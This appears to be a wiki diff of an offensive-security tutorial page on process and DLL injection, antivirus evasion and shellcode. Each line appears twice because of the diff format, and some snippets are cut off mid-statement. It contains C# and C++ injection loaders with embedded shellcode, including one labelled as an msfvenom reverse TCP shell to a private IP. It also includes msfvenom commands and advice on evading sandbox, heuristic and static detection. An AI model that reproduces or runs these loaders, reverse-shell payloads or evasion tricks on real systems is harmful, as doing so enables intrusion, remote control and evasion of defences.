         // Create a remote thread in the target process that starts executing the injected shellcode
         IntPtr hRemoteThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, pRemoteCode, IntPtr.Zero, 0, IntPtr.Zero);
         IntPtr hRemoteThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, pRemoteCode, IntPtr.Zero, 0, IntPtr.Zero);
         // Wait for the remote thread to finish
         // Wait for the remote thread to finish
         WaitForSingleObject(hRemoteThread, 0xFFFFFFFF);
         WaitForSingleObject(hRemoteThread, 0xFFFFFFFF);
         // Cleanup
         // Cleanup
         CloseHandle(hRemoteThread);
         CloseHandle(hRemoteThread);
         // Use Marshal to invoke VirtualFreeEx
         // Use Marshal to invoke VirtualFreeEx
         Marshal.FreeHGlobal(pRemoteCode);
         Marshal.FreeHGlobal(pRemoteCode);
         CloseHandle(hProcess);
         CloseHandle(hProcess);
     }
     }
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f csharp
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f csharp
     static byte[] shellcode = new byte[460] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
     static byte[] shellcode = new byte[460] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,
0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,
Line 2,089: Line 1,643:
0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,
0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,
0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5};
0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5};


}
}
</syntaxhighlight>
</syntaxhighlight>


[[File:2023-06-image-6.png|thumb]]
[[File:2023-06-image-6.png|thumb]]


[[File:2023-06-image-7.png|thumb]]
[[File:2023-06-image-7.png|thumb]]


=== c++ example ===
=== c++ example ===


<syntaxhighlight lang="cpp">
<syntaxhighlight lang="cpp">
#include
#include
#include
#include
const char* shellcode = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50"
const char* shellcode = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
Line 2,123: Line 1,670:
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
"\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
"\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
int main()
int main()
{
{
     // Open a handle to the target process (replace with the appropriate process ID)
     // Open a handle to the target process (replace with the appropriate process ID)
     HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 504);
     HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 504);
     // Allocate memory within the target process
     // Allocate memory within the target process
     LPVOID pRemoteCode = VirtualAllocEx(hProcess, NULL, strlen(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
     LPVOID pRemoteCode = VirtualAllocEx(hProcess, NULL, strlen(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
     // Write the shellcode to be injected into the allocated memory
     // Write the shellcode to be injected into the allocated memory
     WriteProcessMemory(hProcess, pRemoteCode, shellcode, strlen(shellcode), NULL);
     WriteProcessMemory(hProcess, pRemoteCode, shellcode, strlen(shellcode), NULL);
     // Create a remote thread in the target process that starts executing the injected shellcode
     // Create a remote thread in the target process that starts executing the injected shellcode
     HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL);
     HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL);
     // Wait for the remote thread to finish
     // Wait for the remote thread to finish
     WaitForSingleObject(hRemoteThread, INFINITE);
     WaitForSingleObject(hRemoteThread, INFINITE);
     // Cleanup
     // Cleanup
     CloseHandle(hRemoteThread);
     CloseHandle(hRemoteThread);
     VirtualFreeEx(hProcess, pRemoteCode, 0, MEM_RELEASE);
     VirtualFreeEx(hProcess, pRemoteCode, 0, MEM_RELEASE);
     CloseHandle(hProcess);
     CloseHandle(hProcess);
     return 0;
     return 0;
}
}
</syntaxhighlight>
</syntaxhighlight>


== DLL Injection ==
== DLL Injection ==


In DLL injection, a programmer can inject a DLL file into a target process, which means that the code and data from the DLL become part of the running program. This allows the injected DLL to modify or enhance the behavior of the target process.
In DLL injection, a programmer can inject a DLL file into a target process, which means that the code and data from the DLL become part of the running program. This allows the injected DLL to modify or enhance the behavior of the target process.


At a high-level DLL injection can be broken up into six steps:
At a high-level DLL injection can be broken up into six steps:


* Locate a target process to inject.
* Locate a target process to inject.


* Open the target process.
* Open the target process.


* Allocate memory region for malicious DLL.
* Allocate memory region for malicious DLL.


* Write the malicious DLL to allocated memory.
* Write the malicious DLL to allocated memory.


* Load and execute the malicious DLL.
* Load and execute the malicious DLL.


Step 1: Find the target process
Step 1: Find the target process
First, we need to locate the program where we want to inject the DLL. This is done by using some special functions provided by Windows. Here's an example code snippet in C++:
First, we need to locate the program where we want to inject the DLL. This is done by using some special functions provided by Windows. Here's an example code snippet in C++:


<syntaxhighlight lang="cpp">
<syntaxhighlight lang="cpp">
#include
#include
#include
#include
DWORD getProcessId(const char* processName) {
DWORD getProcessId(const char* processName) {
     HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
     HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Line 2,199: Line 1,727:
     return 0; // Process not found
     return 0; // Process not found
}
}
DWORD processId = getProcessId("target.exe");
DWORD processId = getProcessId("target.exe");
</syntaxhighlight>
</syntaxhighlight>


Step 2: Open the target process
Step 2: Open the target process
Once we have the process ID (PID), we can open the target process using the PID. This allows us to access and manipulate its memory. Here's an example code snippet:
Once we have the process ID (PID), we can open the target process using the PID. This allows us to access and manipulate its memory. Here's an example code snippet:


<syntaxhighlight lang="cpp">
<syntaxhighlight lang="cpp">
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
</syntaxhighlight>
</syntaxhighlight>


Step 3: Allocate memory for the DLL
Step 3: Allocate memory for the DLL
Next, we need to allocate memory in the target process where we can place the DLL. This is done using the VirtualAllocEx function. Here's an example code snippet:
Next, we need to allocate memory in the target process where we can place the DLL. This is done using the VirtualAllocEx function. Here's an example code snippet:


<syntaxhighlight lang="cpp">
<syntaxhighlight lang="cpp">
LPVOID dllAllocatedMemory = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
LPVOID dllAllocatedMemory = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
</syntaxhighlight>
</syntaxhighlight>


Step 4: Write the DLL to the allocated memory
Step 4: Write the DLL to the allocated memory
After allocating memory, we can write the contents of the DLL into the allocated memory using the WriteProcessMemory function. Here's an example code snippet:
After allocating memory, we can write the contents of the DLL into the allocated memory using the WriteProcessMemory function. Here's an example code snippet:


<syntaxhighlight lang="cpp">
<syntaxhighlight lang="cpp">
WriteProcessMemory(hProcess, dllAllocatedMemory, dllPath, strlen(dllPath) + 1, NULL);
WriteProcessMemory(hProcess, dllAllocatedMemory, dllPath, strlen(dllPath) + 1, NULL);
</syntaxhighlight>
</syntaxhighlight>


Step 5: Load and execute the DLL
Step 5: Load and execute the DLL
Finally, we can load and execute the DLL in the target process. We use the LoadLibrary function to load the DLL, and then create a remote thread in the target process to start executing the DLL code. Here's an example code snippet:
Finally, we can load and execute the DLL in the target process. We use the LoadLibrary function to load the DLL, and then create a remote thread in the target process to start executing the DLL code. Here's an example code snippet:


<syntaxhighlight lang="cpp">
<syntaxhighlight lang="cpp">
Line 2,239: Line 1,758:
HANDLE remoteThreadHandler = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD
HANDLE remoteThreadHandler = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD
</syntaxhighlight>
</syntaxhighlight>


=== C# example ===
=== C# example ===


<syntaxhighlight lang="csharp">
<syntaxhighlight lang="csharp">
Line 2,248: Line 1,765:
using System.Diagnostics;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Runtime.InteropServices;
class Program
class Program
{
{
Line 2,254: Line 1,770:
     [DllImport("kernel32.dll")]
     [DllImport("kernel32.dll")]
     public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
     public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
     [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
     [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
     public static extern IntPtr GetModuleHandle(string lpModuleName);
     public static extern IntPtr GetModuleHandle(string lpModuleName);
     [DllImport("kernel32.dll", CharSet = CharSet.Ansi)]
     [DllImport("kernel32.dll", CharSet = CharSet.Ansi)]
     public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
     public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
     [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
     [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
     public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
     public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
     [DllImport("kernel32.dll", SetLastError = true)]
     [DllImport("kernel32.dll", SetLastError = true)]
     public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);
     public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);
     [DllImport("kernel32.dll")]
     [DllImport("kernel32.dll")]
     public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
     public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
     // Path to the DLL file to be injected
     // Path to the DLL file to be injected
     const string dllPath = "path/to/your/dll.dll";
     const string dllPath = "path/to/your/dll.dll";
     static void Main()
     static void Main()
     {
     {
         // Get the target process by name
         // Get the target process by name
         Process targetProcess = Process.GetProcessesByName("target")[0];
         Process targetProcess = Process.GetProcessesByName("target")[0];
         // Open the target process with all access rights
         // Open the target process with all access rights
         IntPtr hProcess = OpenProcess(0x1F0FFF, false, targetProcess.Id);
         IntPtr hProcess = OpenProcess(0x1F0FFF, false, targetProcess.Id);
         // Allocate memory in the target process to hold the DLL path
         // Allocate memory in the target process to hold the DLL path
         IntPtr dllMemory = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)dllPath.Length + 1, 0x00001000 | 0x00002000, 0x40);
         IntPtr dllMemory = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)dllPath.Length + 1, 0x00001000 | 0x00002000, 0x40);
         // Write the DLL path to the allocated memory
         // Write the DLL path to the allocated memory
         byte[] dllPathBytes = System.Text.Encoding.ASCII.GetBytes(dllPath);
         byte[] dllPathBytes = System.Text.Encoding.ASCII.GetBytes(dllPath);
         int bytesWritten;
         int bytesWritten;
         WriteProcessMemory(hProcess, dllMemory, dllPathBytes, (uint)dllPathBytes.Length, out bytesWritten);
         WriteProcessMemory(hProcess, dllMemory, dllPathBytes, (uint)dllPathBytes.Length, out bytesWritten);
         // Get the address of the LoadLibraryA function from kernel32.dll
         // Get the address of the LoadLibraryA function from kernel32.dll
         IntPtr kernel32Module = GetModuleHandle("kernel32.dll");
         IntPtr kernel32Module = GetModuleHandle("kernel32.dll");
         IntPtr loadLibraryAddr = GetProcAddress(kernel32Module, "LoadLibraryA");
         IntPtr loadLibraryAddr = GetProcAddress(kernel32Module, "LoadLibraryA");
         // Create a remote thread in the target process to load the DLL
         // Create a remote thread in the target process to load the DLL
         IntPtr thread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLibraryAddr, dllMemory, 0, IntPtr.Zero);
         IntPtr thread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLibraryAddr, dllMemory, 0, IntPtr.Zero);
         // Wait for the thread to finish
         // Wait for the thread to finish
         if (thread != IntPtr.Zero)
         if (thread != IntPtr.Zero)
             WaitForSingleObject(thread, 0xFFFFFFFF);
             WaitForSingleObject(thread, 0xFFFFFFFF);
         // Cleanup
         // Cleanup
         CloseHandle(hProcess);
         CloseHandle(hProcess);
Line 2,305: Line 1,807:
     }
     }
}
}
</syntaxhighlight>
</syntaxhighlight>


----
----


= AV Evasion Shellcode =
= AV Evasion Shellcode =


== AV Evasion MindMap ==
== AV Evasion MindMap ==


[https://github.com/CMEPW/BypassAV/blob/main/Bypass-AV.pdf BypassAV/Bypass-AV.pdf at main · CMEPW/BypassAV (github.com)]
[https://github.com/CMEPW/BypassAV/blob/main/Bypass-AV.pdf BypassAV/Bypass-AV.pdf at main · CMEPW/BypassAV (github.com)]


[https://blog.aghanim.net/wp-content/uploads/2023/06/Bypass-AV.pdf Bypass-AV][https://blog.aghanim.net/wp-content/uploads/2023/06/Bypass-AV.pdf Download]
[https://blog.aghanim.net/wp-content/uploads/2023/06/Bypass-AV.pdf Bypass-AV][https://blog.aghanim.net/wp-content/uploads/2023/06/Bypass-AV.pdf Download]


== AV Detection techniques ==
== AV Detection techniques ==


An AV detection technique searches for and detects malicious files; different detection techniques can be used within the AV engine, including:
An AV detection technique searches for and detects malicious files; different detection techniques can be used within the AV engine, including:


=== Signature-based detection ===
=== Signature-based detection ===


Traditional AV technique that looks for predefined malicious patterns and signatures within files.
Traditional AV technique that looks for predefined malicious patterns and signatures within files.


=== Heuristic detection ===
=== Heuristic detection ===


More advanced technique that includes various behavioral methods to analyze suspicious files.
More advanced technique that includes various behavioral methods to analyze suspicious files.


Heuristic detection is a technique used in cybersecurity to identify potentially malicious or suspicious files or activities based on heuristics or rules. It involves analyzing the behavior, characteristics, or patterns of a file or code to determine if it exhibits traits commonly associated with malicious behavior. Unlike signature-based detection, which relies on known signatures or patterns, heuristic detection is more proactive and can detect previously unseen or unknown threats.
Heuristic detection is a technique used in cybersecurity to identify potentially malicious or suspicious files or activities based on heuristics or rules. It involves analyzing the behavior, characteristics, or patterns of a file or code to determine if it exhibits traits commonly associated with malicious behavior. Unlike signature-based detection, which relies on known signatures or patterns, heuristic detection is more proactive and can detect previously unseen or unknown threats.


Here are some things you can do for evading heuristic detection:
Here are some things you can do for evading heuristic detection:


* '''Polymorphic Code''': Implementing code that dynamically modifies its structure or behavior upon execution can make it more challenging for heuristic detection to identify and classify the code as malicious.
* '''Polymorphic Code''': Implementing code that dynamically modifies its structure or behavior upon execution can make it more challenging for heuristic detection to identify and classify the code as malicious.


* '''Anti-Analysis Techniques''': Employing various anti-analysis techniques, such as code obfuscation, encryption, or packing, can make it harder for heuristic detection mechanisms to understand and analyze the code's true intent.
* '''Anti-Analysis Techniques''': Employing various anti-analysis techniques, such as code obfuscation, encryption, or packing, can make it harder for heuristic detection mechanisms to understand and analyze the code's true intent.


* '''Environmental Awareness:''' Heuristic detection often relies on identifying abnormal behavior or patterns. By mimicking normal system behavior or modifying code execution based on environmental factors (e.g., time, system state), it may be possible to evade heuristic detection mechanisms.
* '''Environmental Awareness:''' Heuristic detection often relies on identifying abnormal behavior or patterns. By mimicking normal system behavior or modifying code execution based on environmental factors (e.g., time, system state), it may be possible to evade heuristic detection mechanisms.


* '''Code Fragmentation''': Splitting the malicious code into multiple fragments and executing them separately can make it harder for heuristic detection to piece together the entire malicious behavior, potentially leading to evasion.
* '''Code Fragmentation''': Splitting the malicious code into multiple fragments and executing them separately can make it harder for heuristic detection to piece together the entire malicious behavior, potentially leading to evasion.


=== Dynamic detection ===
=== Dynamic detection ===


A technique that includes monitoring the system calls and APIs and testing and analyzing in an isolated environment.
A technique that includes monitoring the system calls and APIs and testing and analyzing in an isolated environment.


Dynamic analysis is when the AV runs your binary in a sandbox and watches for malicious activity (e.g. trying to decrypt and read your browser's passwords, performing a minidump on LSASS, etc.). This part can be a bit trickier to work with, but here are some things you can do to evade sandboxes.
Dynamic analysis is when the AV runs your binary in a sandbox and watches for malicious activity (e.g. trying to decrypt and read your browser's passwords, performing a minidump on LSASS, etc.). This part can be a bit trickier to work with, but here are some things you can do to evade sandboxes.


* '''Sleep before execution''' Depending on how it's implemented, it can be a great way of bypassing AV's dynamic analysis. AV's have a very short time to scan files to not interrupt the user's workflow, so using long sleeps can disturb the analysis of binaries. The problem is that many AV's sandboxes can just skip the sleep depending on how it's implemented.
* '''Sleep before execution''' Depending on how it's implemented, it can be a great way of bypassing AV's dynamic analysis. AV's have a very short time to scan files to not interrupt the user's workflow, so using long sleeps can disturb the analysis of binaries. The problem is that many AV's sandboxes can just skip the sleep depending on how it's implemented.


* '''Checking machine's resources''' Usually Sandboxes have very little resources to work with (e.g. < 2GB RAM), otherwise they could slow down the user's machine. You can also get very creative here, for example by checking the CPU's temperature or even the fan speeds, not everything will be implemented in the sandbox.
* '''Checking machine's resources''' Usually Sandboxes have very little resources to work with (e.g. < 2GB RAM), otherwise they could slow down the user's machine. You can also get very creative here, for example by checking the CPU's temperature or even the fan speeds, not everything will be implemented in the sandbox.


* '''Machine-specific checks''' If you want to target a user who's workstation is joined to the "contoso.local" domain, you can do a check on the computer's domain to see if it matches the one you've specified, if it doesn't, you can make your program exit.
* '''Machine-specific checks''' If you want to target a user who's workstation is joined to the "contoso.local" domain, you can do a check on the computer's domain to see if it matches the one you've specified, if it doesn't, you can make your program exit.


=== Static detection ===
=== Static detection ===


Static detection is achieved by flagging known malicious strings or arrays of bytes in a binary or script, and also extracting information from the file itself (e.g. file description, company name, digital signatures, icon, checksum, etc.). This means that using known public tools may get you caught more easily, as they've probably been analyzed and flagged as malicious. There are a couple of ways of getting around this sort of detection:
Static detection is achieved by flagging known malicious strings or arrays of bytes in a binary or script, and also extracting information from the file itself (e.g. file description, company name, digital signatures, icon, checksum, etc.). This means that using known public tools may get you caught more easily, as they've probably been analyzed and flagged as malicious. There are a couple of ways of getting around this sort of detection:


* '''Encryption''' If you encrypt the binary, there will be no way for AV of detecting your program, but you will need some sort of loader to decrypt and run the program in memory.
* '''Encryption''' If you encrypt the binary, there will be no way for AV of detecting your program, but you will need some sort of loader to decrypt and run the program in memory.


* '''Obfuscation''' Sometimes all you need to do is change some strings in your binary or script to get it past AV, but this can be a time-consuming task depending on what you're trying to obfuscate.
* '''Obfuscation''' Sometimes all you need to do is change some strings in your binary or script to get it past AV, but this can be a time-consuming task depending on what you're trying to obfuscate.


* '''Custom tooling''' If you develop your own tools, there will be no known bad signatures, but this takes a lot of time and effort.
* '''Custom tooling''' If you develop your own tools, there will be no known bad signatures, but this takes a lot of time and effort.


== Shellcode ==
== Shellcode ==


Shellcode is a special set of instructions that are created to make a vulnerable program do things it shouldn't. Usually, it's used to gain control over the program and do malicious actions. For example, it can open up a system shell or create a connection for remote control.
Shellcode is a special set of instructions that are created to make a vulnerable program do things it shouldn't. Usually, it's used to gain control over the program and do malicious actions. For example, it can open up a system shell or create a connection for remote control.


When the shellcode is put into a process and executed by the vulnerable program, it changes how the program works. It updates registers (special memory storage) and functions so that the attacker's code gets executed.
When the shellcode is put into a process and executed by the vulnerable program, it changes how the program works. It updates registers (special memory storage) and functions so that the attacker's code gets executed.


Shellcode is typically written in Assembly language, which is a low-level programming language. It's then translated into hexadecimal codes, which are specific instructions that computers understand. Creating unique and custom shellcode helps bypass antivirus software, but it's not easy to do. It requires advanced knowledge and skill in Assembly language, which can be quite challenging.
Shellcode is typically written in Assembly language, which is a low-level programming language. It's then translated into hexadecimal codes, which are specific instructions that computers understand. Creating unique and custom shellcode helps bypass antivirus software, but it's not easy to do. It requires advanced knowledge and skill in Assembly language, which can be quite challenging.


Save code below as <code>helloworld.asm</code>.
Save code below as <code>helloworld.asm</code>.


<syntaxhighlight lang="c">
<syntaxhighlight lang="c">
section .text
section .text
     global _start
     global _start
_start:
_start:
     jmp MESSAGE      ; 1) Let's jump to MESSAGE
     jmp MESSAGE      ; 1) Let's jump to MESSAGE
GOBACK:
GOBACK:
     mov rax, 0x1
     mov rax, 0x1
Line 2,422: Line 1,887:
     mov rdx, 0xd
     mov rdx, 0xd
     syscall
     syscall
     mov rax, 0x3c
     mov rax, 0x3c
     xor rdi, rdi    ; Clear rdi (exit code 0)
     xor rdi, rdi    ; Clear rdi (exit code 0)
     syscall
     syscall
MESSAGE:
MESSAGE:
     call GOBACK      ; 2) We are going back, since we used `call`, that means
     call GOBACK      ; 2) We are going back, since we used `call`, that means
Line 2,432: Line 1,895:
                       ; of "Hello, World!\r\n", is pushed into the stack.
                       ; of "Hello, World!\r\n", is pushed into the stack.
     db "Hello, World!", 0dh, 0ah
     db "Hello, World!", 0dh, 0ah
</syntaxhighlight>
</syntaxhighlight>


* We start by jumping to the <code>MESSAGE</code> label. This means we want to execute the code starting from the <code>MESSAGE</code> label.
* We start by jumping to the <code>MESSAGE</code> label. This means we want to execute the code starting from the <code>MESSAGE</code> label.


* We then encounter the <code>GOBACK</code> routine. This routine is called using <code>call</code>, which pushes the address of the next instruction (the address of the message) onto the stack. It allows us to retrieve the address of the message later.
* We then encounter the <code>GOBACK</code> routine. This routine is called using <code>call</code>, which pushes the address of the next instruction (the address of the message) onto the stack. It allows us to retrieve the address of the message later.


* Inside the <code>GOBACK</code> routine, we first prepare the registers to call the <code>sys_write</code> function. We set <code>rax</code> to 1 to indicate that we want to use the <code>sys_write</code> function. We set <code>rdi</code> to 1, which represents the standard output (STDOUT) file descriptor. We pop the address of the message from the stack and store it in <code>rsi</code>, which will be used as the pointer to the message. Finally, we set <code>rdx</code> to 0xd (13 in decimal), which represents the length of the message.
* Inside the <code>GOBACK</code> routine, we first prepare the registers to call the <code>sys_write</code> function. We set <code>rax</code> to 1 to indicate that we want to use the <code>sys_write</code> function. We set <code>rdi</code> to 1, which represents the standard output (STDOUT) file descriptor. We pop the address of the message from the stack and store it in <code>rsi</code>, which will be used as the pointer to the message. Finally, we set <code>rdx</code> to 0xd (13 in decimal), which represents the length of the message.


* After preparing the registers, we execute the <code>syscall</code> instruction to call the <code>sys_write</code> function. This will print the message to the console.
* After preparing the registers, we execute the <code>syscall</code> instruction to call the <code>sys_write</code> function. This will print the message to the console.


* Next, we set <code>rax</code> to 0x3c, which represents the <code>sys_exit</code> function. We clear <code>rdi</code> by using <code>xor rdi, rdi</code>, which sets it to 0 (indicating exit code 0).
* Next, we set <code>rax</code> to 0x3c, which represents the <code>sys_exit</code> function. We clear <code>rdi</code> by using <code>xor rdi, rdi</code>, which sets it to 0 (indicating exit code 0).


* Finally, we execute the <code>syscall</code> instruction again to call the <code>sys_exit</code> function. This will exit the program.
* Finally, we execute the <code>syscall</code> instruction again to call the <code>sys_exit</code> function. This will exit the program.


In summary, the code sets up the necessary registers and uses system calls (<code>sys_write</code> and <code>sys_exit</code>) to print the "Hello, World!" message and then exit the program. The message itself is stored at the <code>MESSAGE</code> label, and the <code>GOBACK</code> routine is used to retrieve its address before calling <code>sys_write</code>.
In summary, the code sets up the necessary registers and uses system calls (<code>sys_write</code> and <code>sys_exit</code>) to print the "Hello, World!" message and then exit the program. The message itself is stored at the <code>MESSAGE</code> label, and the <code>GOBACK</code> routine is used to retrieve its address before calling <code>sys_write</code>.


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
# Assembler and link our code
# Assembler and link our code
user@AttackBox$ nasm -f elf64 helloworld.asm
user@AttackBox$ nasm -f elf64 helloworld.asm
user@AttackBox$ ld helloworld.o -o helloworld
user@AttackBox$ ld helloworld.o -o helloworld
Line 2,465: Line 1,918:
"Hello, World!"
"Hello, World!"
</syntaxhighlight>
</syntaxhighlight>


Lets extract the shellcode with the <code>objdump</code> command by dumping the .text section of the compiled binary.
Lets extract the shellcode with the <code>objdump</code> command by dumping the .text section of the compiled binary.


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
objdump -d helloworld
objdump -d helloworld
</syntaxhighlight>
</syntaxhighlight>


To extract the hexadecimal values from the output, you can utilize <code>objcopy</code> to dump the .text section into a binary file named <code>helloworld.text</code>.
To extract the hexadecimal values from the output, you can utilize <code>objcopy</code> to dump the .text section into a binary file named <code>helloworld.text</code>.


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
objcopy -j .text -O binary helloworld helloworld.text
objcopy -j .text -O binary helloworld helloworld.text
</syntaxhighlight>
</syntaxhighlight>


To convert the <code>helloworld.text</code> file containing the shellcode in binary format to hexadecimal, the <code>xxd</code> command with the <code>-i</code> option can be used to output the binary file as a C string.
To convert the <code>helloworld.text</code> file containing the shellcode in binary format to hexadecimal, the <code>xxd</code> command with the <code>-i</code> option can be used to output the binary file as a C string.


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
xxd -i helloworld.text
xxd -i helloworld.text
</syntaxhighlight>
</syntaxhighlight>


To confirm that the extracted shellcode works as we expected, we can execute our shellcode and inject it into a C program.
To confirm that the extracted shellcode works as we expected, we can execute our shellcode and inject it into a C program.


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
#include
#include
int main(int argc, char **argv) {
int main(int argc, char **argv) {
     unsigned char message[] = {
     unsigned char message[] = {
       **SHELLCODE**
       **SHELLCODE**
     };
     };
     (*(void(*)())message)();
     (*(void(*)())message)();
     return 0;
     return 0;
}
}
</syntaxhighlight>
</syntaxhighlight>


Compile it
Compile it


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
gcc -g -Wall -z execstack helloworld.c -o helloworldx
gcc -g -Wall -z execstack helloworld.c -o helloworldx
</syntaxhighlight>
</syntaxhighlight>


=== Generating shellcode ===
=== Generating shellcode ===


The advantage of generating shellcode via public tools is that we don't need to craft a custom shellcode from scratch, and we don't even need to be an expert in assembly language. Most public C2 frameworks provide their own shellcode generator compatible with the C2 platform. Of course, this is so convenient for us, but the drawback is that most, or we can say all, generated shellcodes are well-known to AV vendors and can be easily detected.
The advantage of generating shellcode via public tools is that we don't need to craft a custom shellcode from scratch, and we don't even need to be an expert in assembly language. Most public C2 frameworks provide their own shellcode generator compatible with the C2 platform. Of course, this is so convenient for us, but the drawback is that most, or we can say all, generated shellcodes are well-known to AV vendors and can be easily detected.


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c
</syntaxhighlight>
</syntaxhighlight>


Add the shellcode to this C code which will inject it into memory and execute calc.exe.
Add the shellcode to this C code which will inject it into memory and execute calc.exe.


<syntaxhighlight lang="c">
<syntaxhighlight lang="c">
Line 2,554: Line 1,990:
}
}
</syntaxhighlight>
</syntaxhighlight>


The provided code snippet is a Windows C program that contains a shellcode stager. It first defines a shellcode as a character array. Then, in the <code>main()</code> function, it uses <code>VirtualProtect()</code> to mark the shellcode as executable. Next, it casts the shellcode array as a function pointer and executes the shellcode using the <code>shellcode()</code> function.
The provided code snippet is a Windows C program that contains a shellcode stager. It first defines a shellcode as a character array. Then, in the <code>main()</code> function, it uses <code>VirtualProtect()</code> to mark the shellcode as executable. Next, it casts the shellcode array as a function pointer and executes the shellcode using the <code>shellcode()</code> function.


Overall, this code allows the execution of the shellcode stored in the <code>stager</code> array by marking it as executable and then invoking it as a function.
Overall, this code allows the execution of the shellcode stored in the <code>stager</code> array by marking it as executable and then invoking it as a function.


Compile it.
Compile it.


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
i686-w64-mingw32-gcc calc.c -o calc-MSF.exe
i686-w64-mingw32-gcc calc.c -o calc-MSF.exe
</syntaxhighlight>
</syntaxhighlight>


=== Generate shellcode from EXE ===
=== Generate shellcode from EXE ===


Shellcode can also be stored in <code>.bin</code> files, which is a raw data format. To obtain shellcode from a raw binary file (.bin), we can use the <code>xxd -i</code> command in Linux. If a C2 Framework provides shellcode as a .bin file, we can convert it to its hexadecimal representation using this approach. Here are the steps to create a raw binary file and extract the shellcode:
Shellcode can also be stored in <code>.bin</code> files, which is a raw data format. To obtain shellcode from a raw binary file (.bin), we can use the <code>xxd -i</code> command in Linux. If a C2 Framework provides shellcode as a .bin file, we can convert it to its hexadecimal representation using this approach. Here are the steps to create a raw binary file and extract the shellcode:


* Generate a raw shellcode to execute <code>calc.exe</code> using <code>msfvenom</code> and save it to <code>/tmp/example.bin</code>. The command is as follows:
* Generate a raw shellcode to execute <code>calc.exe</code> using <code>msfvenom</code> and save it to <code>/tmp/example.bin</code>. The command is as follows:


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
